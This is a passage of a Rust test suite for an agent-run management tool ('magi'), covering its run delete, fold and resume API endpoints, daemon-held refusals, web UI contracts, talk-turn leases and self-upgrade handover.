14001 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14002
14003 let run_running = "20260901-000000-rung";
14008 write_run(&runs, run_running, RunStatus::Prep);
14009 let mut beat = crate::daemon::Status::new();
14010 beat.current = vec![crate::daemon::Current {
14011 task: "20260901-000000-task".to_owned(),
14012 run: run_running.to_owned(),
14013 }];
14014 beat.updated_at = jiff::Timestamp::now();
14015 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14016 .expect("publish a heartbeat");
14017 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14018 assert_eq!(res.status, 409);
14019 assert!(
14020 res.json()["error"]
14021 .as_str()
14022 .unwrap()
14023 .contains("live daemon"),
14024 "the refusal must say who is holding it"
14025 );
14026 assert!(
14027 runs.join(run_running).exists(),
14028 "a run in flight keeps its directory"
14029 );
14030
14031 let run_unfolded = "20260901-000000-unfd";
14033 let mut state2 = RunState::new(
14034 PathBuf::from("/repo"),
14035 "main".to_owned(),
14036 "abc".to_owned(),
14037 "instruction".to_owned(),
14038 Config::default(),
14039 );
14040 state2.id = run_unfolded.to_owned();
14041 state2.status = RunStatus::Ready;
14042 state2.candidates.push(crate::run::Candidate {
14043 index: 0,
14044 label: 'A',
14045 agent: "a".to_owned(),
14046 branch: "b".to_owned(),
14047 worktree: PathBuf::from("/w"),
14048 summary: String::new(),
14049 stat: String::new(),
14050 files: 1,
14051 commits: 1,
14052 empty: false,
14053 failed: None,
14054 verified_noop: None,
14055 duration_ms: 0,
14056 folded: false,
14057 });
14058 let dir2 = runs.join(run_unfolded);
14059 std::fs::create_dir_all(&dir2).expect("create dir2");
14060 std::fs::write(
14061 dir2.join("run.json"),
14062 serde_json::to_string(&state2).unwrap(),
14063 )
14064 .expect("write run.json");
14065
14066 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14067 assert_eq!(res.status, 409);
14068 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14069 assert!(dir2.exists(), "unfolded run directory is kept");
14070
14071 let res = fx.delete("/api/runs/nonexistent").await;
14073 assert_eq!(res.status, 404);
14074 }
14075
14076 #[test]
14085 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14086 let start = APP_JS
14087 .find("function renderStats() {")
14088 .expect("renderStats");
14089 let end = start
14090 + APP_JS[start..]
14091 .find("function statsTile(")
14092 .expect("the next top-level function");
14093 let body = &APP_JS[start..end];
14094
14095 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14096 let gate_end = gate_start
14097 + body[gate_start..]
14098 .find("}\n renderStatsQueue")
14099 .expect("the gate's own closing brace, right before the unconditional call");
14100 let gated = &body[gate_start..gate_end];
14101
14102 assert_eq!(
14103 body.matches("renderStatsQueue(").count(),
14104 1,
14105 "renderStats must call renderStatsQueue exactly once: {body}"
14106 );
14107 assert!(
14108 !gated.contains("renderStatsQueue"),
14109 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14110 run-derived panels on an empty run history - the queue panel has to render \
14111 regardless: {gated}"
14112 );
14113 }
14114
14115 #[test]
14116 fn web_ui_delete_contract_in_front_end() {
14117 assert!(APP_JS.contains("deleteRun:"));
14119 assert!(APP_JS.contains("deleteTask:"));
14120
14121 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14123 ..APP_JS.find("function renderRuns").unwrap()];
14124 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14125
14126 assert!(APP_JS.contains("renderRunDelete"));
14128 assert!(APP_JS.contains("runDeleteReason"));
14129 assert!(APP_JS.contains("magi fold"));
14130 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14131
14132 assert!(APP_JS.contains("cancel.focus"));
14134 assert!(APP_JS.contains("armedRunDelete"));
14135 assert!(APP_JS.contains("renderTaskDeleteBox"));
14136 assert!(APP_JS.contains("armed${cap(key)}"));
14137
14138 assert!(APP_JS.contains("disabled: status === \"running\""));
14140 }
14141
14142 #[test]
14162 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14163 let build = APP_JS
14164 .find("function createRunCard")
14165 .expect("createRunCard exists");
14166 let update = APP_JS
14167 .find("function updateRunCard")
14168 .expect("updateRunCard exists");
14169 let end = APP_JS
14170 .find("function renderRuns")
14171 .expect("renderRuns exists");
14172
14173 let builder = &APP_JS[build..update];
14175 let open = builder.find("refs = {").expect("createRunCard sets refs");
14176 let literal = &builder[open + "refs = {".len()..];
14177 let close = literal.find('}').expect("the refs literal is closed");
14178 let published: HashSet<&str> = literal[..close]
14179 .split(',')
14180 .filter_map(|entry| entry.split(':').next())
14182 .map(str::trim)
14183 .filter(|name| !name.is_empty())
14184 .collect();
14185 assert!(
14186 published.len() > 5,
14187 "the refs literal did not parse into names: {published:?}"
14188 );
14189
14190 let mut used: Vec<&str> = Vec::new();
14193 let updaters = &APP_JS[update..end];
14194 for (at, _) in updaters.match_indices("r.") {
14195 let before = updaters[..at].chars().next_back();
14198 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14199 continue;
14200 }
14201 let rest = &updaters[at + 2..];
14202 let len = rest
14203 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14204 .unwrap_or(rest.len());
14205 if len > 0 {
14206 used.push(&rest[..len]);
14207 }
14208 }
14209 assert!(
14210 used.len() > 5,
14211 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14212 );
14213
14214 let missing: Vec<&str> = used
14215 .iter()
14216 .copied()
14217 .filter(|name| !published.contains(name))
14218 .collect();
14219 assert!(
14220 missing.is_empty(),
14221 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14222 never put in `refs` - every card will throw and the list will \
14223 render empty under a count line that says otherwise. Published: \
14224 {published:?}"
14225 );
14226 }
14227
14228 #[tokio::test]
14229 async fn folding_from_the_phone_reports_what_it_removed() {
14230 let fx = Fixture::start().await;
14231 let runs = fx.runs();
14232
14233 let id = "20260901-000000-fold";
14237 write_run(&runs, id, RunStatus::Stalled);
14238 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14239 assert_eq!(res.status, 200);
14240 assert_eq!(res.json()["removed_count"], 0);
14241 assert_eq!(res.json()["run"], id);
14242 assert!(
14243 runs.join(id).exists(),
14244 "a fold keeps the run's record; only the worktrees go"
14245 );
14246 }
14247
14248 #[tokio::test]
14249 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14250 let fx = Fixture::start().await;
14251 let runs = fx.runs();
14252 let wt = fx.home.path().join("wt").join("magi").join("dead");
14253 let id = "20260901-000000-dead";
14254 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14255 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14256 std::fs::create_dir_all(&wt).expect("worktree dir");
14257
14258 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14259 assert_eq!(res.status, 200, "{}", res.body);
14260 assert!(
14261 res.json()["removed_count"].as_u64().unwrap() > 0,
14262 "the worktree this build could not read a state for still went"
14263 );
14264 assert!(
14265 !runs.join(id).exists(),
14266 "an unreadable run has no candidate list to fold selectively, so \
14267 the whole record goes - same as `magi fold` on the CLI"
14268 );
14269 }
14270
14271 #[tokio::test]
14272 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14273 let fx = Fixture::start().await;
14274 let runs = fx.runs();
14275 let wt = fx.home.path().join("wt").join("magi").join("gone");
14276 let id = "20260901-000000-gone";
14277 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14278 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14279 std::fs::create_dir_all(&wt).expect("worktree dir");
14280
14281 let res = fx.delete(&format!("/api/runs/{id}")).await;
14282 assert_eq!(res.status, 204, "{}", res.body);
14283 assert!(!runs.join(id).exists(), "the broken record is gone");
14284 assert!(!wt.exists(), "its worktree is gone too");
14285 }
14286
14287 #[tokio::test]
14288 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14289 let fx = Fixture::start().await;
14290 let runs = fx.runs();
14291 let id = "20260901-000000-live";
14292 write_run(&runs, id, RunStatus::Implementing);
14293
14294 let mut beat = crate::daemon::Status::new();
14295 beat.current = vec![crate::daemon::Current {
14296 task: "20260901-000000-task".to_owned(),
14297 run: id.to_owned(),
14298 }];
14299 beat.updated_at = jiff::Timestamp::now();
14300 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14301 .expect("publish a heartbeat");
14302
14303 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14304 assert_eq!(res.status, 409);
14305 assert!(
14306 res.json()["error"]
14307 .as_str()
14308 .unwrap()
14309 .contains("live daemon"),
14310 "folding under a running agent would pull its worktree away"
14311 );
14312 }
14313
14314 #[tokio::test]
14315 async fn fold_merged_requires_a_pr_url() {
14316 let fx = Fixture::start().await;
14317 let runs = fx.runs();
14318 let id = "20260901-000000-nourl";
14319 write_run(&runs, id, RunStatus::Blocked);
14320
14321 let res = fx
14322 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14323 .await;
14324 assert_eq!(res.status, 400, "{}", res.body);
14325
14326 let blank = fx
14327 .post(
14328 &format!("/api/runs/{id}/fold-merged"),
14329 Some(r#"{"pr_url":" "}"#),
14330 )
14331 .await;
14332 assert_eq!(blank.status, 400, "{}", blank.body);
14333 }
14334
14335 #[tokio::test]
14336 async fn fold_merged_is_404_for_an_unknown_run() {
14337 let fx = Fixture::start().await;
14338 let res = fx
14339 .post(
14340 "/api/runs/nosuchrun/fold-merged",
14341 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14342 )
14343 .await;
14344 assert_eq!(res.status, 404, "{}", res.body);
14345 }
14346
14347 #[tokio::test]
14348 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14349 let fx = Fixture::start().await;
14350 let runs = fx.runs();
14351 let id = "20260901-000000-livemerge";
14352 write_run(&runs, id, RunStatus::Blocked);
14353
14354 let mut beat = crate::daemon::Status::new();
14355 beat.current = vec![crate::daemon::Current {
14356 task: "20260901-000000-task".to_owned(),
14357 run: id.to_owned(),
14358 }];
14359 beat.updated_at = jiff::Timestamp::now();
14360 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14361 .expect("publish a heartbeat");
14362
14363 let res = fx
14364 .post(
14365 &format!("/api/runs/{id}/fold-merged"),
14366 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14367 )
14368 .await;
14369 assert_eq!(res.status, 409, "{}", res.body);
14370 assert!(
14371 res.json()["error"]
14372 .as_str()
14373 .unwrap()
14374 .contains("live daemon"),
14375 "correcting a run's merge underneath a running agent would race \
14376 whatever it is doing to the same `status`/`merge` fields"
14377 );
14378 }
14379
14380 #[tokio::test]
14385 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14386 let fx = Fixture::start().await;
14387 let runs = fx.runs();
14388 let id = "20260901-000000-unconfirmed";
14389 write_run(&runs, id, RunStatus::Blocked);
14390
14391 let res = fx
14392 .post(
14393 &format!("/api/runs/{id}/fold-merged"),
14394 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14395 )
14396 .await;
14397 assert_eq!(res.status, 400, "{}", res.body);
14398 assert_eq!(
14399 read_run(&runs, id).unwrap().status,
14400 RunStatus::Blocked,
14401 "a pull request that could not be confirmed merged must leave \
14402 the run exactly where it was"
14403 );
14404 }
14405
14406 #[tokio::test]
14407 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14408 let fx = Fixture::start().await;
14409 let runs = fx.runs();
14410
14411 for (status, word) in [
14417 (RunStatus::Merged, "merged"),
14418 (RunStatus::Ready, "ready"),
14419 (RunStatus::Failed, "failed"),
14420 ] {
14421 let id = format!("20260901-000000-{}", &word[..4]);
14422 write_run(&runs, &id, status);
14423 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14424 assert_eq!(res.status, 409, "{word} must not be resumable");
14425 let err = res.json()["error"].as_str().unwrap().to_owned();
14426 assert!(err.contains(word), "the refusal names the status: {err}");
14427 }
14428
14429 let mid = "20260901-000000-midf";
14434 write_run(&runs, mid, RunStatus::Reviewing);
14435 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14436 assert_eq!(res.status, 202, "an interrupted run is resumable");
14437 }
14438
14439 #[tokio::test]
14440 async fn resume_is_refused_while_the_loop_is_running() {
14441 let fx = Fixture::start().await;
14442 let runs = fx.runs();
14443 let stalled = "20260901-000000-stal";
14444 write_run(&runs, stalled, RunStatus::Stalled);
14445
14446 let mut beat = crate::daemon::Status::new();
14450 beat.current = vec![crate::daemon::Current {
14451 task: "20260901-000000-task".to_owned(),
14452 run: "20260901-000000-othr".to_owned(),
14453 }];
14454 beat.updated_at = jiff::Timestamp::now();
14455 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14456 .expect("publish a heartbeat");
14457
14458 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14459 assert_eq!(res.status, 409);
14460 let err = res.json()["error"].as_str().unwrap().to_owned();
14461 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14462 assert!(err.contains("stop it first"), "{err}");
14463 }
14464
14465 #[test]
14466 fn a_run_cannot_be_resumed_twice_at_once() {
14467 let home = TempDir::new().expect("temp home");
14468 let ui = Ui::new(
14469 Queue::at(home.path().join("queue")),
14470 Questions::at(home.path().join("questions")),
14471 Talks::at(home.path().join("talks")),
14472 home.path().join("runs"),
14473 home.path().to_path_buf(),
14474 PathBuf::from("/repo"),
14475 )
14476 .with_worktrees_root(home.path().join("wt"));
14477 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14478 let again = ui.begin_resume("20260901-000000-once");
14479 assert!(again.is_err(), "a second tap must not start a second graph");
14480 drop(first);
14481 assert!(
14482 ui.begin_resume("20260901-000000-once").is_ok(),
14483 "and the claim is released when the attempt ends"
14484 );
14485 }
14486
14487 #[test]
14488 fn talk_thinking_tracks_only_its_held_turn_claim() {
14489 let home = TempDir::new().expect("temp home");
14490 let ui = Ui::new(
14491 Queue::at(home.path().join("queue")),
14492 Questions::at(home.path().join("questions")),
14493 Talks::at(home.path().join("talks")),
14494 home.path().join("runs"),
14495 home.path().to_path_buf(),
14496 PathBuf::from("/repo"),
14497 )
14498 .with_worktrees_root(home.path().join("wt"));
14499 let id = "20260901-000000-once";
14500
14501 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14502 let turn = ui.begin_talk_turn(id).expect("claim turn");
14503 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14504 assert!(
14505 !ui.is_thinking("20260901-000000-other"),
14506 "one talk's turn does not make another talk busy"
14507 );
14508 drop(turn);
14509 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14510 }
14511
14512 #[test]
14513 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14514 let home = TempDir::new().expect("temp home");
14515 let talks = Talks::at(home.path().join("talks"));
14516 let ui = Ui::new(
14517 Queue::at(home.path().join("queue")),
14518 Questions::at(home.path().join("questions")),
14519 talks.clone(),
14520 home.path().join("runs"),
14521 home.path().to_path_buf(),
14522 PathBuf::from("/repo"),
14523 )
14524 .with_worktrees_root(home.path().join("wt"));
14525 let id = "20260901-000000-cross";
14526
14527 let other = Talks::at(home.path().join("talks"))
14528 .claim_turn(id)
14529 .expect("claim")
14530 .expect("the other process wins");
14531 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14532 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14533 assert!(
14534 matches!(
14535 ui.begin_talk_turn_unless_pending(id).expect("start"),
14536 TalkTurnStart::Foreign
14537 ),
14538 "a foreign holder is refused, not queued behind"
14539 );
14540 assert!(
14541 !ui.talk_turns.lock().unwrap().live.contains(id),
14542 "a refused claim leaves no in-process entry behind"
14543 );
14544 drop(other);
14545 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14546 assert!(talks.turn_held(id), "the web turn holds the lease");
14547 drop(turn);
14548 assert!(
14549 !talks.turn_held(id),
14550 "dropping the guard releases the lease"
14551 );
14552 }
14553
14554 #[test]
14555 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14556 let home = TempDir::new().expect("temp home");
14557 let talks = Talks::at(home.path().join("talks"));
14558 let ui = Ui::new(
14559 Queue::at(home.path().join("queue")),
14560 Questions::at(home.path().join("questions")),
14561 talks.clone(),
14562 home.path().join("runs"),
14563 home.path().to_path_buf(),
14564 PathBuf::from("/repo"),
14565 )
14566 .with_worktrees_root(home.path().join("wt"));
14567 let id = "20260901-000000-order";
14568 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14569 let slots = ui.talk_turns.lock().unwrap();
14571 let dropper = std::thread::spawn(move || drop(turn));
14572 let start = std::time::Instant::now();
14573 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14574 std::thread::sleep(Duration::from_millis(5));
14575 }
14576 assert!(!talks.turn_held(id), "the lease is released first");
14577 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14578 drop(slots);
14579 dropper.join().expect("join");
14580 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14581 }
14582
14583 #[tokio::test]
14584 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14585 let fx = Fixture::start().await;
14586 let mut beat = crate::daemon::Status::new();
14590 beat.pid = 4321;
14591 beat.updated_at = jiff::Timestamp::now();
14592 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14593 .expect("publish a heartbeat");
14594
14595 let res = fx.post("/api/upgrade", None).await;
14596 assert_eq!(res.status, 409);
14597 let err = res.json()["error"].as_str().unwrap().to_owned();
14598 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14599 assert!(err.contains("old one against the same queue"), "{err}");
14600 }
14601
14602 #[test]
14609 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14610 assert!(!should_spawn_recheck(&crate::config::Update {
14611 mode: UpdateMode::Off,
14612 interval: None,
14613 }));
14614
14615 unsafe {
14618 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14619 }
14620 let killed = should_spawn_recheck(&crate::config::Update {
14621 mode: UpdateMode::Notify,
14622 interval: None,
14623 });
14624 unsafe {
14625 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14626 }
14627 assert!(
14628 !killed,
14629 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14630 one-time startup check"
14631 );
14632
14633 assert!(should_spawn_recheck(&crate::config::Update {
14634 mode: UpdateMode::Notify,
14635 interval: None,
14636 }));
14637 }
14638
14639 #[test]
14645 fn recheck_poll_period_tracks_a_short_configured_interval() {
14646 let short = crate::config::Update {
14647 mode: UpdateMode::Notify,
14648 interval: Some("1m".to_owned()),
14649 };
14650 let period = recheck_poll_period(&short);
14651 assert!(
14652 period <= Duration::from_secs(30),
14653 "a one-minute interval must wake the task far sooner than the \
14654 default ceiling, or the deck would not notice within the \
14655 interval the operator configured: got {period:?}"
14656 );
14657
14658 let default = crate::config::Update {
14659 mode: UpdateMode::Notify,
14660 interval: None,
14661 };
14662 assert_eq!(
14663 recheck_poll_period(&default),
14664 UPDATE_RECHECK_POLL_MAX,
14665 "the default day-long interval should poll at the (capped) \
14666 ceiling rather than needlessly often"
14667 );
14668 }
14669
14670 #[test]
14678 fn recheck_skips_the_network_before_the_interval_elapses() {
14679 let dir = TempDir::new().expect("temp dir");
14680 let path = dir.path().join("state.json");
14681 let state = kaishin::UpdateCheckState {
14682 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14683 last_known_latest: None,
14684 last_known_url: None,
14685 };
14686 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14687
14688 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14689 assert!(
14690 !update_recheck_due(&checker, None),
14691 "a check made moments ago must not be repeated before the \
14692 configured interval elapses"
14693 );
14694 }
14695
14696 #[test]
14702 fn recheck_defers_to_an_upgrade_already_in_flight() {
14703 let dir = TempDir::new().expect("temp dir");
14704 let path = dir.path().join("state.json");
14705 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14706 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14707
14708 assert!(
14709 !update_recheck_due(&checker, Some(&progress)),
14710 "a recheck must not run while an upgrade this deck started is \
14711 still moving"
14712 );
14713 }
14714
14715 #[tokio::test]
14716 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14717 unsafe {
14729 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14730 }
14731 let fx = Fixture::start().await;
14732 let res = fx.post("/api/upgrade", None).await;
14733 unsafe {
14734 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14735 }
14736 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14737 let body = res.json();
14738 assert!(body["to"].is_null(), "there was no release to move to");
14739 assert!(body["parked"].is_null(), "and nothing was parked");
14740 assert!(
14741 body["detail"]
14742 .as_str()
14743 .unwrap()
14744 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14745 "{body:?}"
14746 );
14747 }
14748
14749 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14750 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14751 p.stage = stage;
14752 p
14753 }
14754
14755 #[test]
14756 fn busy_stages_match_the_ui_set() {
14757 use crate::updater::Stage;
14758 assert!(APP_JS.contains(
14759 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14760 ));
14761 for s in [
14762 Stage::Downloading,
14763 Stage::Replaced,
14764 Stage::Parking,
14765 Stage::Restarting,
14766 ] {
14767 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14768 }
14769 for s in [Stage::Done, Stage::Failed] {
14770 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14771 }
14772 assert!(upgrade_in_motion(None).is_none());
14773 }
14774
14775 #[tokio::test]
14776 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14777 use crate::updater::Stage;
14778 for stage in [
14779 Stage::Downloading,
14780 Stage::Replaced,
14781 Stage::Parking,
14782 Stage::Restarting,
14783 ] {
14784 let fx = Fixture::start().await;
14785 let seeded = seeded_progress(stage);
14786 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14787 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14788 .expect("read");
14789
14790 let res = fx.post("/api/upgrade", None).await;
14791 assert_eq!(res.status, 409, "{stage:?}");
14792 let err = res.json()["error"].as_str().unwrap().to_owned();
14793 assert!(err.contains("already in progress"), "{err}");
14794 assert!(err.contains(stage.as_str()), "{err}");
14795
14796 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14797 .expect("read");
14798 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14799 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14800 .unwrap_or_default();
14801 assert!(!log.contains("signalling HANDOVER"), "{log}");
14802 }
14803 }
14804
14805 #[tokio::test]
14806 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14807 use crate::updater::Stage;
14808 let repo = TempDir::new().expect("repo dir");
14809 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14810 .expect("write magi.toml");
14811 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14812 for stage in [Stage::Done, Stage::Failed] {
14813 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14814 let res = fx.post("/api/upgrade", None).await;
14815 assert_eq!(res.status, 200, "{stage:?}");
14816 }
14817 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14819 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14820 }
14821
14822 #[tokio::test]
14823 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14824 let repo = TempDir::new().expect("repo dir");
14840 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14841 .expect("write magi.toml");
14842 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14843
14844 let res = fx.post("/api/upgrade", None).await;
14850 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14851 let body = res.json();
14852 assert!(body["to"].is_null(), "there was no release to move to");
14853 assert!(body["parked"].is_null(), "and nothing was parked");
14854 assert!(
14855 body["detail"]
14856 .as_str()
14857 .unwrap()
14858 .contains("nothing restarted"),
14859 "{body:?}"
14860 );
14861 }
14862
14863 #[tokio::test]
14864 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14865 let repo = TempDir::new().expect("repo dir");
14870 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14871 .expect("write magi.toml");
14872 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14873
14874 let health = fx.get("/api/health").await.json();
14875 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14876 assert_eq!(
14877 health["update"]["available"], false,
14878 "checking is off, which reads as \"unknown\", not \"none\""
14879 );
14880 assert!(health["update"]["to"].is_null());
14881 assert!(
14882 health["upgrade"].is_null(),
14883 "nothing has ever asked this deck to upgrade"
14884 );
14885 }
14886
14887 #[tokio::test]
14888 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14889 let fx = Fixture::start().await;
14890 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14891
14892 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14893 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14894 progress.advance(crate::updater::Stage::Parking);
14895 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14896
14897 let health = fx.get("/api/health").await.json();
14898 assert_eq!(health["upgrade"]["stage"], "parking");
14899 assert_eq!(health["upgrade"]["from"], "0.5.1");
14900 assert_eq!(health["upgrade"]["to"], "0.5.2");
14901 let waiting_on = health["upgrade"]["waiting_on"]
14902 .as_str()
14903 .expect("waiting_on is set while parking a known run");
14904 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14905 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14906 }
14907
14908 #[tokio::test]
14909 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14910 let fx = Fixture::start().await;
14911 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14912 progress.advance(crate::updater::Stage::Done);
14913 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14914
14915 let health = fx.get("/api/health").await.json();
14916 assert_eq!(health["upgrade"]["stage"], "done");
14917 assert!(
14918 health["upgrade"]["waiting_on"].is_null(),
14919 "nothing to wait on once it is done"
14920 );
14921 }
14922
14923 #[tokio::test]
14924 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14925 let home = TempDir::new().expect("temp home");
14926 let runs = home.path().join("runs");
14927 std::fs::create_dir_all(&runs).expect("runs dir");
14928 let ui = Ui::new(
14929 Queue::at(home.path().join("queue")),
14930 Questions::at(home.path().join("questions")),
14931 Talks::at(home.path().join("talks")),
14932 runs,
14933 home.path().to_path_buf(),
14934 PathBuf::from("/repo/magi"),
14935 )
14936 .with_launch(launch_idle);
14937 let looping = ui.looping();
14938 let turns = ui.turns();
14939 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14940 .await
14941 .expect("bind loopback");
14942 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14943
14944 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14945 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14946
14947 hand_over(
14948 home.path(),
14949 &looping,
14950 &turns,
14951 &|_: &[String]| Duration::from_secs(5),
14952 served,
14953 |_| Ok(1),
14954 )
14955 .await
14956 .expect("hand over");
14957
14958 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14959 assert_eq!(
14960 after.stage,
14961 crate::updater::Stage::Restarting,
14962 "hand_over owns the record through parking and up to restarting; \
14963 the successor is what finishes it"
14964 );
14965 }
14966
14967 #[tokio::test]
14970 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14971 for fail in [false, true] {
14972 let home = TempDir::new().expect("temp home");
14973 let ui = idle_ui(&home);
14974 let looping = ui.looping();
14975 let turns = ui.turns();
14976 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14977 .await
14978 .expect("bind loopback");
14979 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14980 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14981 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14982
14983 let calls = std::sync::atomic::AtomicUsize::new(0);
14984 let outcome = hand_over(
14985 home.path(),
14986 &looping,
14987 &turns,
14988 &|_: &[String]| Duration::from_secs(5),
14989 served,
14990 |_| {
14991 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14992 if fail {
14993 anyhow::bail!("no exec")
14994 } else {
14995 Ok(4242)
14996 }
14997 },
14998 )
14999 .await;
15000 assert_eq!(outcome.is_err(), fail);
15001 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15002
15003 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15004 .expect("upgrade.log is written under the home");
15005 for step in [
15006 "entered",
15007 "finish_loop",
15008 "listener released",
15009 "starting the successor",
15010 ] {
15011 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15012 }
15013 assert!(
15014 log.contains(if fail { "did not start" } else { "pid 4242" }),
15015 "{log}"
15016 );
